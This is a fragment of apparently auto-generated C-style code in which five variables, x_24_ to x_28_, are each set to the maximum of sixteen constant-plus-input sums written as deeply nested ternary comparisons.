x_24_ = (((((12.0 + x_1) > (19.0 + x_2)? (12.0 + x_1) : (19.0 + x_2)) > ((9.0 + x_5) > (9.0 + x_7)? (9.0 + x_5) : (9.0 + x_7))? ((12.0 + x_1) > (19.0 + x_2)? (12.0 + x_1) : (19.0 + x_2)) : ((9.0 + x_5) > (9.0 + x_7)? (9.0 + x_5) : (9.0 + x_7))) > (((10.0 + x_9) > (13.0 + x_11)? (10.0 + x_9) : (13.0 + x_11)) > ((17.0 + x_12) > (1.0 + x_13)? (17.0 + x_12) : (1.0 + x_13))? ((10.0 + x_9) > (13.0 + x_11)? (10.0 + x_9) : (13.0 + x_11)) : ((17.0 + x_12) > (1.0 + x_13)? (17.0 + x_12) : (1.0 + x_13)))? (((12.0 + x_1) > (19.0 + x_2)? (12.0 + x_1) : (19.0 + x_2)) > ((9.0 + x_5) > (9.0 + x_7)? (9.0 + x_5) : (9.0 + x_7))? ((12.0 + x_1) > (19.0 + x_2)? (12.0 + x_1) : (19.0 + x_2)) : ((9.0 + x_5) > (9.0 + x_7)? (9.0 + x_5) : (9.0 + x_7))) : (((10.0 + x_9) > (13.0 + x_11)? (10.0 + x_9) : (13.0 + x_11)) > ((17.0 + x_12) > (1.0 + x_13)? (17.0 + x_12) : (1.0 + x_13))? ((10.0 + x_9) > (13.0 + x_11)? (10.0 + x_9) : (13.0 + x_11)) : ((17.0 + x_12) > (1.0 + x_13)? (17.0 + x_12) : (1.0 + x_13)))) > ((((20.0 + x_14) > (13.0 + x_15)? (20.0 + x_14) : (13.0 + x_15)) > ((14.0 + x_18) > (7.0 + x_23)? (14.0 + x_18) : (7.0 + x_23))? ((20.0 + x_14) > (13.0 + x_15)? (20.0 + x_14) : (13.0 + x_15)) : ((14.0 + x_18) > (7.0 + x_23)? (14.0 + x_18) : (7.0 + x_23))) > (((15.0 + x_27) > (15.0 + x_28)? (15.0 + x_27) : (15.0 + x_28)) > ((9.0 + x_30) > (11.0 + x_31)? (9.0 + x_30) : (11.0 + x_31))? ((15.0 + x_27) > (15.0 + x_28)? (15.0 + x_27) : (15.0 + x_28)) : ((9.0 + x_30) > (11.0 + x_31)? (9.0 + x_30) : (11.0 + x_31)))? (((20.0 + x_14) > (13.0 + x_15)? (20.0 + x_14) : (13.0 + x_15)) > ((14.0 + x_18) > (7.0 + x_23)? (14.0 + x_18) : (7.0 + x_23))? ((20.0 + x_14) > (13.0 + x_15)? (20.0 + x_14) : (13.0 + x_15)) : ((14.0 + x_18) > (7.0 + x_23)? (14.0 + x_18) : (7.0 + x_23))) : (((15.0 + x_27) > (15.0 + x_28)? (15.0 + x_27) : (15.0 + x_28)) > ((9.0 + x_30) > (11.0 + x_31)? (9.0 + x_30) : (11.0 + x_31))? ((15.0 + x_27) > (15.0 + x_28)? (15.0 + x_27) : (15.0 + x_28)) : ((9.0 + x_30) > (11.0 + x_31)? (9.0 + x_30) : (11.0 + x_31))))? ((((12.0 + x_1) > (19.0 + x_2)? (12.0 + x_1) : (19.0 + x_2)) > ((9.0 + x_5) > (9.0 + x_7)? (9.0 + x_5) : (9.0 + x_7))? ((12.0 + x_1) > (19.0 + x_2)? (12.0 + x_1) : (19.0 + x_2)) : ((9.0 + x_5) > (9.0 + x_7)? (9.0 + x_5) : (9.0 + x_7))) > (((10.0 + x_9) > (13.0 + x_11)? (10.0 + x_9) : (13.0 + x_11)) > ((17.0 + x_12) > (1.0 + x_13)? (17.0 + x_12) : (1.0 + x_13))? ((10.0 + x_9) > (13.0 + x_11)? (10.0 + x_9) : (13.0 + x_11)) : ((17.0 + x_12) > (1.0 + x_13)? (17.0 + x_12) : (1.0 + x_13)))? (((12.0 + x_1) > (19.0 + x_2)? (12.0 + x_1) : (19.0 + x_2)) > ((9.0 + x_5) > (9.0 + x_7)? (9.0 + x_5) : (9.0 + x_7))? ((12.0 + x_1) > (19.0 + x_2)? (12.0 + x_1) : (19.0 + x_2)) : ((9.0 + x_5) > (9.0 + x_7)? (9.0 + x_5) : (9.0 + x_7))) : (((10.0 + x_9) > (13.0 + x_11)? (10.0 + x_9) : (13.0 + x_11)) > ((17.0 + x_12) > (1.0 + x_13)? (17.0 + x_12) : (1.0 + x_13))? ((10.0 + x_9) > (13.0 + x_11)? (10.0 + x_9) : (13.0 + x_11)) : ((17.0 + x_12) > (1.0 + x_13)? (17.0 + x_12) : (1.0 + x_13)))) : ((((20.0 + x_14) > (13.0 + x_15)? (20.0 + x_14) : (13.0 + x_15)) > ((14.0 + x_18) > (7.0 + x_23)? (14.0 + x_18) : (7.0 + x_23))? ((20.0 + x_14) > (13.0 + x_15)? (20.0 + x_14) : (13.0 + x_15)) : ((14.0 + x_18) > (7.0 + x_23)? (14.0 + x_18) : (7.0 + x_23))) > (((15.0 + x_27) > (15.0 + x_28)? (15.0 + x_27) : (15.0 + x_28)) > ((9.0 + x_30) > (11.0 + x_31)? (9.0 + x_30) : (11.0 + x_31))? ((15.0 + x_27) > (15.0 + x_28)? (15.0 + x_27) : (15.0 + x_28)) : ((9.0 + x_30) > (11.0 + x_31)? (9.0 + x_30) : (11.0 + x_31)))? (((20.0 + x_14) > (13.0 + x_15)? (20.0 + x_14) : (13.0 + x_15)) > ((14.0 + x_18) > (7.0 + x_23)? (14.0 + x_18) : (7.0 + x_23))? ((20.0 + x_14) > (13.0 + x_15)? (20.0 + x_14) : (13.0 + x_15)) : ((14.0 + x_18) > (7.0 + x_23)? (14.0 + x_18) : (7.0 + x_23))) : (((15.0 + x_27) > (15.0 + x_28)? (15.0 + x_27) : (15.0 + x_28)) > ((9.0 + x_30) > (11.0 + x_31)? (9.0 + x_30) : (11.0 + x_31))? ((15.0 + x_27) > (15.0 + x_28)? (15.0 + x_27) : (15.0 + x_28)) : ((9.0 + x_30) > (11.0 + x_31)? (9.0 + x_30) : (11.0 + x_31)))));
x_25_ = (((((13.0 + x_0) > (19.0 + x_4)? (13.0 + x_0) : (19.0 + x_4)) > ((5.0 + x_7) > (9.0 + x_9)? (5.0 + x_7) : (9.0 + x_9))? ((13.0 + x_0) > (19.0 + x_4)? (13.0 + x_0) : (19.0 + x_4)) : ((5.0 + x_7) > (9.0 + x_9)? (5.0 + x_7) : (9.0 + x_9))) > (((11.0 + x_10) > (16.0 + x_11)? (11.0 + x_10) : (16.0 + x_11)) > ((10.0 + x_14) > (13.0 + x_15)? (10.0 + x_14) : (13.0 + x_15))? ((11.0 + x_10) > (16.0 + x_11)? (11.0 + x_10) : (16.0 + x_11)) : ((10.0 + x_14) > (13.0 + x_15)? (10.0 + x_14) : (13.0 + x_15)))? (((13.0 + x_0) > (19.0 + x_4)? (13.0 + x_0) : (19.0 + x_4)) > ((5.0 + x_7) > (9.0 + x_9)? (5.0 + x_7) : (9.0 + x_9))? ((13.0 + x_0) > (19.0 + x_4)? (13.0 + x_0) : (19.0 + x_4)) : ((5.0 + x_7) > (9.0 + x_9)? (5.0 + x_7) : (9.0 + x_9))) : (((11.0 + x_10) > (16.0 + x_11)? (11.0 + x_10) : (16.0 + x_11)) > ((10.0 + x_14) > (13.0 + x_15)? (10.0 + x_14) : (13.0 + x_15))? ((11.0 + x_10) > (16.0 + x_11)? (11.0 + x_10) : (16.0 + x_11)) : ((10.0 + x_14) > (13.0 + x_15)? (10.0 + x_14) : (13.0 + x_15)))) > ((((7.0 + x_16) > (14.0 + x_19)? (7.0 + x_16) : (14.0 + x_19)) > ((18.0 + x_22) > (12.0 + x_23)? (18.0 + x_22) : (12.0 + x_23))? ((7.0 + x_16) > (14.0 + x_19)? (7.0 + x_16) : (14.0 + x_19)) : ((18.0 + x_22) > (12.0 + x_23)? (18.0 + x_22) : (12.0 + x_23))) > (((11.0 + x_26) > (7.0 + x_27)? (11.0 + x_26) : (7.0 + x_27)) > ((19.0 + x_30) > (14.0 + x_31)? (19.0 + x_30) : (14.0 + x_31))? ((11.0 + x_26) > (7.0 + x_27)? (11.0 + x_26) : (7.0 + x_27)) : ((19.0 + x_30) > (14.0 + x_31)? (19.0 + x_30) : (14.0 + x_31)))? (((7.0 + x_16) > (14.0 + x_19)? (7.0 + x_16) : (14.0 + x_19)) > ((18.0 + x_22) > (12.0 + x_23)? (18.0 + x_22) : (12.0 + x_23))? ((7.0 + x_16) > (14.0 + x_19)? (7.0 + x_16) : (14.0 + x_19)) : ((18.0 + x_22) > (12.0 + x_23)? (18.0 + x_22) : (12.0 + x_23))) : (((11.0 + x_26) > (7.0 + x_27)? (11.0 + x_26) : (7.0 + x_27)) > ((19.0 + x_30) > (14.0 + x_31)? (19.0 + x_30) : (14.0 + x_31))? ((11.0 + x_26) > (7.0 + x_27)? (11.0 + x_26) : (7.0 + x_27)) : ((19.0 + x_30) > (14.0 + x_31)? (19.0 + x_30) : (14.0 + x_31))))? ((((13.0 + x_0) > (19.0 + x_4)? (13.0 + x_0) : (19.0 + x_4)) > ((5.0 + x_7) > (9.0 + x_9)? (5.0 + x_7) : (9.0 + x_9))? ((13.0 + x_0) > (19.0 + x_4)? (13.0 + x_0) : (19.0 + x_4)) : ((5.0 + x_7) > (9.0 + x_9)? (5.0 + x_7) : (9.0 + x_9))) > (((11.0 + x_10) > (16.0 + x_11)? (11.0 + x_10) : (16.0 + x_11)) > ((10.0 + x_14) > (13.0 + x_15)? (10.0 + x_14) : (13.0 + x_15))? ((11.0 + x_10) > (16.0 + x_11)? (11.0 + x_10) : (16.0 + x_11)) : ((10.0 + x_14) > (13.0 + x_15)? (10.0 + x_14) : (13.0 + x_15)))? (((13.0 + x_0) > (19.0 + x_4)? (13.0 + x_0) : (19.0 + x_4)) > ((5.0 + x_7) > (9.0 + x_9)? (5.0 + x_7) : (9.0 + x_9))? ((13.0 + x_0) > (19.0 + x_4)? (13.0 + x_0) : (19.0 + x_4)) : ((5.0 + x_7) > (9.0 + x_9)? (5.0 + x_7) : (9.0 + x_9))) : (((11.0 + x_10) > (16.0 + x_11)? (11.0 + x_10) : (16.0 + x_11)) > ((10.0 + x_14) > (13.0 + x_15)? (10.0 + x_14) : (13.0 + x_15))? ((11.0 + x_10) > (16.0 + x_11)? (11.0 + x_10) : (16.0 + x_11)) : ((10.0 + x_14) > (13.0 + x_15)? (10.0 + x_14) : (13.0 + x_15)))) : ((((7.0 + x_16) > (14.0 + x_19)? (7.0 + x_16) : (14.0 + x_19)) > ((18.0 + x_22) > (12.0 + x_23)? (18.0 + x_22) : (12.0 + x_23))? ((7.0 + x_16) > (14.0 + x_19)? (7.0 + x_16) : (14.0 + x_19)) : ((18.0 + x_22) > (12.0 + x_23)? (18.0 + x_22) : (12.0 + x_23))) > (((11.0 + x_26) > (7.0 + x_27)? (11.0 + x_26) : (7.0 + x_27)) > ((19.0 + x_30) > (14.0 + x_31)? (19.0 + x_30) : (14.0 + x_31))? ((11.0 + x_26) > (7.0 + x_27)? (11.0 + x_26) : (7.0 + x_27)) : ((19.0 + x_30) > (14.0 + x_31)? (19.0 + x_30) : (14.0 + x_31)))? (((7.0 + x_16) > (14.0 + x_19)? (7.0 + x_16) : (14.0 + x_19)) > ((18.0 + x_22) > (12.0 + x_23)? (18.0 + x_22) : (12.0 + x_23))? ((7.0 + x_16) > (14.0 + x_19)? (7.0 + x_16) : (14.0 + x_19)) : ((18.0 + x_22) > (12.0 + x_23)? (18.0 + x_22) : (12.0 + x_23))) : (((11.0 + x_26) > (7.0 + x_27)? (11.0 + x_26) : (7.0 + x_27)) > ((19.0 + x_30) > (14.0 + x_31)? (19.0 + x_30) : (14.0 + x_31))? ((11.0 + x_26) > (7.0 + x_27)? (11.0 + x_26) : (7.0 + x_27)) : ((19.0 + x_30) > (14.0 + x_31)? (19.0 + x_30) : (14.0 + x_31)))));
x_26_ = (((((9.0 + x_0) > (2.0 + x_3)? (9.0 + x_0) : (2.0 + x_3)) > ((20.0 + x_8) > (4.0 + x_10)? (20.0 + x_8) : (4.0 + x_10))? ((9.0 + x_0) > (2.0 + x_3)? (9.0 + x_0) : (2.0 + x_3)) : ((20.0 + x_8) > (4.0 + x_10)? (20.0 + x_8) : (4.0 + x_10))) > (((17.0 + x_12) > (16.0 + x_13)? (17.0 + x_12) : (16.0 + x_13)) > ((3.0 + x_18) > (12.0 + x_20)? (3.0 + x_18) : (12.0 + x_20))? ((17.0 + x_12) > (16.0 + x_13)? (17.0 + x_12) : (16.0 + x_13)) : ((3.0 + x_18) > (12.0 + x_20)? (3.0 + x_18) : (12.0 + x_20)))? (((9.0 + x_0) > (2.0 + x_3)? (9.0 + x_0) : (2.0 + x_3)) > ((20.0 + x_8) > (4.0 + x_10)? (20.0 + x_8) : (4.0 + x_10))? ((9.0 + x_0) > (2.0 + x_3)? (9.0 + x_0) : (2.0 + x_3)) : ((20.0 + x_8) > (4.0 + x_10)? (20.0 + x_8) : (4.0 + x_10))) : (((17.0 + x_12) > (16.0 + x_13)? (17.0 + x_12) : (16.0 + x_13)) > ((3.0 + x_18) > (12.0 + x_20)? (3.0 + x_18) : (12.0 + x_20))? ((17.0 + x_12) > (16.0 + x_13)? (17.0 + x_12) : (16.0 + x_13)) : ((3.0 + x_18) > (12.0 + x_20)? (3.0 + x_18) : (12.0 + x_20)))) > ((((3.0 + x_22) > (20.0 + x_23)? (3.0 + x_22) : (20.0 + x_23)) > ((5.0 + x_24) > (9.0 + x_25)? (5.0 + x_24) : (9.0 + x_25))? ((3.0 + x_22) > (20.0 + x_23)? (3.0 + x_22) : (20.0 + x_23)) : ((5.0 + x_24) > (9.0 + x_25)? (5.0 + x_24) : (9.0 + x_25))) > (((20.0 + x_26) > (13.0 + x_27)? (20.0 + x_26) : (13.0 + x_27)) > ((9.0 + x_29) > (10.0 + x_30)? (9.0 + x_29) : (10.0 + x_30))? ((20.0 + x_26) > (13.0 + x_27)? (20.0 + x_26) : (13.0 + x_27)) : ((9.0 + x_29) > (10.0 + x_30)? (9.0 + x_29) : (10.0 + x_30)))? (((3.0 + x_22) > (20.0 + x_23)? (3.0 + x_22) : (20.0 + x_23)) > ((5.0 + x_24) > (9.0 + x_25)? (5.0 + x_24) : (9.0 + x_25))? ((3.0 + x_22) > (20.0 + x_23)? (3.0 + x_22) : (20.0 + x_23)) : ((5.0 + x_24) > (9.0 + x_25)? (5.0 + x_24) : (9.0 + x_25))) : (((20.0 + x_26) > (13.0 + x_27)? (20.0 + x_26) : (13.0 + x_27)) > ((9.0 + x_29) > (10.0 + x_30)? (9.0 + x_29) : (10.0 + x_30))? ((20.0 + x_26) > (13.0 + x_27)? (20.0 + x_26) : (13.0 + x_27)) : ((9.0 + x_29) > (10.0 + x_30)? (9.0 + x_29) : (10.0 + x_30))))? ((((9.0 + x_0) > (2.0 + x_3)? (9.0 + x_0) : (2.0 + x_3)) > ((20.0 + x_8) > (4.0 + x_10)? (20.0 + x_8) : (4.0 + x_10))? ((9.0 + x_0) > (2.0 + x_3)? (9.0 + x_0) : (2.0 + x_3)) : ((20.0 + x_8) > (4.0 + x_10)? (20.0 + x_8) : (4.0 + x_10))) > (((17.0 + x_12) > (16.0 + x_13)? (17.0 + x_12) : (16.0 + x_13)) > ((3.0 + x_18) > (12.0 + x_20)? (3.0 + x_18) : (12.0 + x_20))? ((17.0 + x_12) > (16.0 + x_13)? (17.0 + x_12) : (16.0 + x_13)) : ((3.0 + x_18) > (12.0 + x_20)? (3.0 + x_18) : (12.0 + x_20)))? (((9.0 + x_0) > (2.0 + x_3)? (9.0 + x_0) : (2.0 + x_3)) > ((20.0 + x_8) > (4.0 + x_10)? (20.0 + x_8) : (4.0 + x_10))? ((9.0 + x_0) > (2.0 + x_3)? (9.0 + x_0) : (2.0 + x_3)) : ((20.0 + x_8) > (4.0 + x_10)? (20.0 + x_8) : (4.0 + x_10))) : (((17.0 + x_12) > (16.0 + x_13)? (17.0 + x_12) : (16.0 + x_13)) > ((3.0 + x_18) > (12.0 + x_20)? (3.0 + x_18) : (12.0 + x_20))? ((17.0 + x_12) > (16.0 + x_13)? (17.0 + x_12) : (16.0 + x_13)) : ((3.0 + x_18) > (12.0 + x_20)? (3.0 + x_18) : (12.0 + x_20)))) : ((((3.0 + x_22) > (20.0 + x_23)? (3.0 + x_22) : (20.0 + x_23)) > ((5.0 + x_24) > (9.0 + x_25)? (5.0 + x_24) : (9.0 + x_25))? ((3.0 + x_22) > (20.0 + x_23)? (3.0 + x_22) : (20.0 + x_23)) : ((5.0 + x_24) > (9.0 + x_25)? (5.0 + x_24) : (9.0 + x_25))) > (((20.0 + x_26) > (13.0 + x_27)? (20.0 + x_26) : (13.0 + x_27)) > ((9.0 + x_29) > (10.0 + x_30)? (9.0 + x_29) : (10.0 + x_30))? ((20.0 + x_26) > (13.0 + x_27)? (20.0 + x_26) : (13.0 + x_27)) : ((9.0 + x_29) > (10.0 + x_30)? (9.0 + x_29) : (10.0 + x_30)))? (((3.0 + x_22) > (20.0 + x_23)? (3.0 + x_22) : (20.0 + x_23)) > ((5.0 + x_24) > (9.0 + x_25)? (5.0 + x_24) : (9.0 + x_25))? ((3.0 + x_22) > (20.0 + x_23)? (3.0 + x_22) : (20.0 + x_23)) : ((5.0 + x_24) > (9.0 + x_25)? (5.0 + x_24) : (9.0 + x_25))) : (((20.0 + x_26) > (13.0 + x_27)? (20.0 + x_26) : (13.0 + x_27)) > ((9.0 + x_29) > (10.0 + x_30)? (9.0 + x_29) : (10.0 + x_30))? ((20.0 + x_26) > (13.0 + x_27)? (20.0 + x_26) : (13.0 + x_27)) : ((9.0 + x_29) > (10.0 + x_30)? (9.0 + x_29) : (10.0 + x_30)))));
x_27_ = (((((17.0 + x_1) > (10.0 + x_2)? (17.0 + x_1) : (10.0 + x_2)) > ((13.0 + x_5) > (11.0 + x_10)? (13.0 + x_5) : (11.0 + x_10))? ((17.0 + x_1) > (10.0 + x_2)? (17.0 + x_1) : (10.0 + x_2)) : ((13.0 + x_5) > (11.0 + x_10)? (13.0 + x_5) : (11.0 + x_10))) > (((12.0 + x_11) > (14.0 + x_12)? (12.0 + x_11) : (14.0 + x_12)) > ((12.0 + x_14) > (13.0 + x_15)? (12.0 + x_14) : (13.0 + x_15))? ((12.0 + x_11) > (14.0 + x_12)? (12.0 + x_11) : (14.0 + x_12)) : ((12.0 + x_14) > (13.0 + x_15)? (12.0 + x_14) : (13.0 + x_15)))? (((17.0 + x_1) > (10.0 + x_2)? (17.0 + x_1) : (10.0 + x_2)) > ((13.0 + x_5) > (11.0 + x_10)? (13.0 + x_5) : (11.0 + x_10))? ((17.0 + x_1) > (10.0 + x_2)? (17.0 + x_1) : (10.0 + x_2)) : ((13.0 + x_5) > (11.0 + x_10)? (13.0 + x_5) : (11.0 + x_10))) : (((12.0 + x_11) > (14.0 + x_12)? (12.0 + x_11) : (14.0 + x_12)) > ((12.0 + x_14) > (13.0 + x_15)? (12.0 + x_14) : (13.0 + x_15))? ((12.0 + x_11) > (14.0 + x_12)? (12.0 + x_11) : (14.0 + x_12)) : ((12.0 + x_14) > (13.0 + x_15)? (12.0 + x_14) : (13.0 + x_15)))) > ((((15.0 + x_17) > (13.0 + x_18)? (15.0 + x_17) : (13.0 + x_18)) > ((19.0 + x_19) > (1.0 + x_20)? (19.0 + x_19) : (1.0 + x_20))? ((15.0 + x_17) > (13.0 + x_18)? (15.0 + x_17) : (13.0 + x_18)) : ((19.0 + x_19) > (1.0 + x_20)? (19.0 + x_19) : (1.0 + x_20))) > (((8.0 + x_27) > (7.0 + x_29)? (8.0 + x_27) : (7.0 + x_29)) > ((18.0 + x_30) > (1.0 + x_31)? (18.0 + x_30) : (1.0 + x_31))? ((8.0 + x_27) > (7.0 + x_29)? (8.0 + x_27) : (7.0 + x_29)) : ((18.0 + x_30) > (1.0 + x_31)? (18.0 + x_30) : (1.0 + x_31)))? (((15.0 + x_17) > (13.0 + x_18)? (15.0 + x_17) : (13.0 + x_18)) > ((19.0 + x_19) > (1.0 + x_20)? (19.0 + x_19) : (1.0 + x_20))? ((15.0 + x_17) > (13.0 + x_18)? (15.0 + x_17) : (13.0 + x_18)) : ((19.0 + x_19) > (1.0 + x_20)? (19.0 + x_19) : (1.0 + x_20))) : (((8.0 + x_27) > (7.0 + x_29)? (8.0 + x_27) : (7.0 + x_29)) > ((18.0 + x_30) > (1.0 + x_31)? (18.0 + x_30) : (1.0 + x_31))? ((8.0 + x_27) > (7.0 + x_29)? (8.0 + x_27) : (7.0 + x_29)) : ((18.0 + x_30) > (1.0 + x_31)? (18.0 + x_30) : (1.0 + x_31))))? ((((17.0 + x_1) > (10.0 + x_2)? (17.0 + x_1) : (10.0 + x_2)) > ((13.0 + x_5) > (11.0 + x_10)? (13.0 + x_5) : (11.0 + x_10))? ((17.0 + x_1) > (10.0 + x_2)? (17.0 + x_1) : (10.0 + x_2)) : ((13.0 + x_5) > (11.0 + x_10)? (13.0 + x_5) : (11.0 + x_10))) > (((12.0 + x_11) > (14.0 + x_12)? (12.0 + x_11) : (14.0 + x_12)) > ((12.0 + x_14) > (13.0 + x_15)? (12.0 + x_14) : (13.0 + x_15))? ((12.0 + x_11) > (14.0 + x_12)? (12.0 + x_11) : (14.0 + x_12)) : ((12.0 + x_14) > (13.0 + x_15)? (12.0 + x_14) : (13.0 + x_15)))? (((17.0 + x_1) > (10.0 + x_2)? (17.0 + x_1) : (10.0 + x_2)) > ((13.0 + x_5) > (11.0 + x_10)? (13.0 + x_5) : (11.0 + x_10))? ((17.0 + x_1) > (10.0 + x_2)? (17.0 + x_1) : (10.0 + x_2)) : ((13.0 + x_5) > (11.0 + x_10)? (13.0 + x_5) : (11.0 + x_10))) : (((12.0 + x_11) > (14.0 + x_12)? (12.0 + x_11) : (14.0 + x_12)) > ((12.0 + x_14) > (13.0 + x_15)? (12.0 + x_14) : (13.0 + x_15))? ((12.0 + x_11) > (14.0 + x_12)? (12.0 + x_11) : (14.0 + x_12)) : ((12.0 + x_14) > (13.0 + x_15)? (12.0 + x_14) : (13.0 + x_15)))) : ((((15.0 + x_17) > (13.0 + x_18)? (15.0 + x_17) : (13.0 + x_18)) > ((19.0 + x_19) > (1.0 + x_20)? (19.0 + x_19) : (1.0 + x_20))? ((15.0 + x_17) > (13.0 + x_18)? (15.0 + x_17) : (13.0 + x_18)) : ((19.0 + x_19) > (1.0 + x_20)? (19.0 + x_19) : (1.0 + x_20))) > (((8.0 + x_27) > (7.0 + x_29)? (8.0 + x_27) : (7.0 + x_29)) > ((18.0 + x_30) > (1.0 + x_31)? (18.0 + x_30) : (1.0 + x_31))? ((8.0 + x_27) > (7.0 + x_29)? (8.0 + x_27) : (7.0 + x_29)) : ((18.0 + x_30) > (1.0 + x_31)? (18.0 + x_30) : (1.0 + x_31)))? (((15.0 + x_17) > (13.0 + x_18)? (15.0 + x_17) : (13.0 + x_18)) > ((19.0 + x_19) > (1.0 + x_20)? (19.0 + x_19) : (1.0 + x_20))? ((15.0 + x_17) > (13.0 + x_18)? (15.0 + x_17) : (13.0 + x_18)) : ((19.0 + x_19) > (1.0 + x_20)? (19.0 + x_19) : (1.0 + x_20))) : (((8.0 + x_27) > (7.0 + x_29)? (8.0 + x_27) : (7.0 + x_29)) > ((18.0 + x_30) > (1.0 + x_31)? (18.0 + x_30) : (1.0 + x_31))? ((8.0 + x_27) > (7.0 + x_29)? (8.0 + x_27) : (7.0 + x_29)) : ((18.0 + x_30) > (1.0 + x_31)? (18.0 + x_30) : (1.0 + x_31)))));
x_28_ = (((((20.0 + x_0) > (10.0 + x_1)? (20.0 + x_0) : (10.0 + x_1)) > ((10.0 + x_3) > (19.0 + x_4)? (10.0 + x_3) : (19.0 + x_4))? ((20.0 + x_0) > (10.0 + x_1)? (20.0 + x_0) : (10.0 + x_1)) : ((10.0 + x_3) > (19.0 + x_4)? (10.0 + x_3) : (19.0 + x_4))) > (((14.0 + x_8) > (12.0 + x_14)? (14.0 + x_8) : (12.0 + x_14)) > ((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17))? ((14.0 + x_8) > (12.0 + x_14)? (14.0 + x_8) : (12.0 + x_14)) : ((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17)))? (((20.0 + x_0) > (10.0 + x_1)? (20.0 + x_0) : (10.0 + x_1)) > ((10.0 + x_3) > (19.0 + x_4)? (10.0 + x_3) : (19.0 + x_4))? ((20.0 + x_0) > (10.0 + x_1)? (20.0 + x_0) : (10.0 + x_1)) : ((10.0 + x_3) > (19.0 + x_4)? (10.0 + x_3) : (19.0 + x_4))) : (((14.0 + x_8) > (12.0 + x_14)? (14.0 + x_8) : (12.0 + x_14)) > ((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17))? ((14.0 + x_8) > (12.0 + x_14)? (14.0 + x_8) : (12.0 + x_14)) : ((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17)))) > ((((13.0 + x_19) > (19.0 + x_21)? (13.0 + x_19) : (19.0 + x_21)) > ((10.0 + x_22) > (14.0 + x_23)? (10.0 + x_22) : (14.0 + x_23))? ((13.0 + x_19) > (19.0 + x_21)? (13.0 + x_19) : (19.0 + x_21)) : ((10.0 + x_22) > (14.0 + x_23)? (10.0 + x_22) : (14.0 + x_23))) > (((20.0 + x_24) > (15.0 + x_25)? (20.0 + x_24) : (15.0 + x_25)) > ((1.0 + x_28) > (17.0 + x_29)? (1.0 + x_28) : (17.0 + x_29))? ((20.0 + x_24) > (15.0 + x_25)? (20.0 + x_24) : (15.0 + x_25)) : ((1.0 + x_28) > (17.0 + x_29)? (1.0 + x_28) : (17.0 + x_29)))? (((13.0 + x_19) > (19.0 + x_21)? (13.0 + x_19) : (19.0 + x_21)) > ((10.0 + x_22) > (14.0 + x_23)? (10.0 + x_22) : (14.0 + x_23))? ((13.0 + x_19) > (19.0 + x_21)? (13.0 + x_19) : (19.0 + x_21)) : ((10.0 + x_22) > (14.0 + x_23)? (10.0 + x_22) : (14.0 + x_23))) : (((20.0 + x_24) > (15.0 + x_25)? (20.0 + x_24) : (15.0 + x_25)) > ((1.0 + x_28) > (17.0 + x_29)? (1.0 + x_28) : (17.0 + x_29))? ((20.0 + x_24) > (15.0 + x_25)? (20.0 + x_24) : (15.0 + x_25)) : ((1.0 + x_28) > (17.0 + x_29)? (1.0 + x_28) : (17.0 + x_29))))? ((((20.0 + x_0) > (10.0 + x_1)? (20.0 + x_0) : (10.0 + x_1)) > ((10.0 + x_3) > (19.0 + x_4)? (10.0 + x_3) : (19.0 + x_4))? ((20.0 + x_0) > (10.0 + x_1)? (20.0 + x_0) : (10.0 + x_1)) : ((10.0 + x_3) > (19.0 + x_4)? (10.0 + x_3) : (19.0 + x_4))) > (((14.0 + x_8) > (12.0 + x_14)? (14.0 + x_8) : (12.0 + x_14)) > ((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17))? ((14.0 + x_8) > (12.0 + x_14)? (14.0 + x_8) : (12.0 + x_14)) : ((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17)))? (((20.0 + x_0) > (10.0 + x_1)? (20.0 + x_0) : (10.0 + x_1)) > ((10.0 + x_3) > (19.0 + x_4)? (10.0 + x_3) : (19.0 + x_4))? ((20.0 + x_0) > (10.0 + x_1)? (20.0 + x_0) : (10.0 + x_1)) : ((10.0 + x_3) > (19.0 + x_4)? (10.0 + x_3) : (19.0 + x_4))) : (((14.0 + x_8) > (12.0 + x_14)? (14.0 + x_8) : (12.0 + x_14)) > ((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17))? ((14.0 + x_8) > (12.0 + x_14)? (14.0 + x_8) : (12.0 + x_14)) : ((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17)))) : ((((13.0 + x_19) > (19.0 + x_21)? (13.0 + x_19) : (19.0 + x_21)) > ((10.0 + x_22) > (14.0 + x_23)? (10.0 + x_22) : (14.0 + x_23))? ((13.0 + x_19) > (19.0 + x_21)? (13.0 + x_19) : (19.0 + x_21)) : ((10.0 + x_22) > (14.0 + x_23)? (10.0 + x_22) : (14.0 + x_23))) > (((20.0 + x_24) > (15.0 + x_25)? (20.0 + x_24) : (15.0 + x_25)) > ((1.0 + x_28) > (17.0 + x_29)? (1.0 + x_28) : (17.0 + x_29))? ((20.0 + x_24) > (15.0 + x_25)? (20.0 + x_24) : (15.0 + x_25)) : ((1.0 + x_28) > (17.0 + x_29)? (1.0 + x_28) : (17.0 + x_29)))? (((13.0 + x_19) > (19.0 + x_21)? (13.0 + x_19) : (19.0 + x_21)) > ((10.0 + x_22) > (14.0 + x_23)? (10.0 + x_22) : (14.0 + x_23))? ((13.0 + x_19) > (19.0 + x_21)? (13.0 + x_19) : (19.0 + x_21)) : ((10.0 + x_22) > (14.0 + x_23)? (10.0 + x_22) : (14.0 + x_23))) : (((20.0 + x_24) > (15.0 + x_25)? (20.0 + x_24) : (15.0 + x_25)) > ((1.0 + x_28) > (17.0 + x_29)? (1.0 + x_28) : (17.0 + x_29))? ((20.0 + x_24) > (15.0 + x_25)? (20.0 + x_24) : (15.0 + x_25)) : ((1.0 + x_28) > (17.0 + x_29)? (1.0 + x_28) : (17.0 + x_29)))));
